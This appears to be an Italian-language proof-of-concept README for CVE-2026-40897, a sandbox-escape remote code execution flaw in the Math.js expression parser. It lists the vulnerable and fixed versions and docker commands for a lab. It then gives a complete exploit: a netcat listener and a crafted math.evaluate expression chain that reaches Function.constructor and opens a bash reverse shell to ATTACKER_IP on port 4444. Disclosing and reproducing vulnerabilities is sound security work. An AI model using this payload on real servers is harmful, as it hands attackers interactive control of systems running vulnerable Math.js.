
Parser di espressioni Math.js RCE
★ CVE-2026-40897 Esecuzione di Codice Remota in Math.js PoC ★
https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898
CVE-2026-40897 è una vulnerabilità di Bypass della Sandbox che porta all'Esecuzione di Codice Remota nel parser di espressioni di Math.js. Il filtro
isSafePropertycontrolla solo l'accesso alle proprietà dalle espressioni utente, non dai percorsi di codice interni. Divulgando l'array interno diArrayNodetramitetoJSON()e sovrascrivendo il suo.map, un attaccante può forzare il codice interno ad accedere aFunction.constructored eseguire JavaScript arbitrario.
| Categoria | Versione |
|---|---|
| Vulnerabile | Math.js 13.1.1 ≤ versione ≤ 15.1.1 |
| Corretta | 15.2.0 |
docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln
Dopo aver avviato l'ambiente vulnerabile, segui i passaggi seguenti per riprodurre l'attacco.
nc -lvnp 4444
Invia la seguente espressione a math.evaluate (ad esempio, tramite l'input di calcolo dell'applicazione).
array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=callback({'map':f2(callback2)=callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()
Il server di destinazione si riconnette al listener dell'attaccante, concedendo una shell bash interattiva.
math.evaluate()reviver, FunctionAssignmentNode, ArrayNode) tramite il parser di espressioni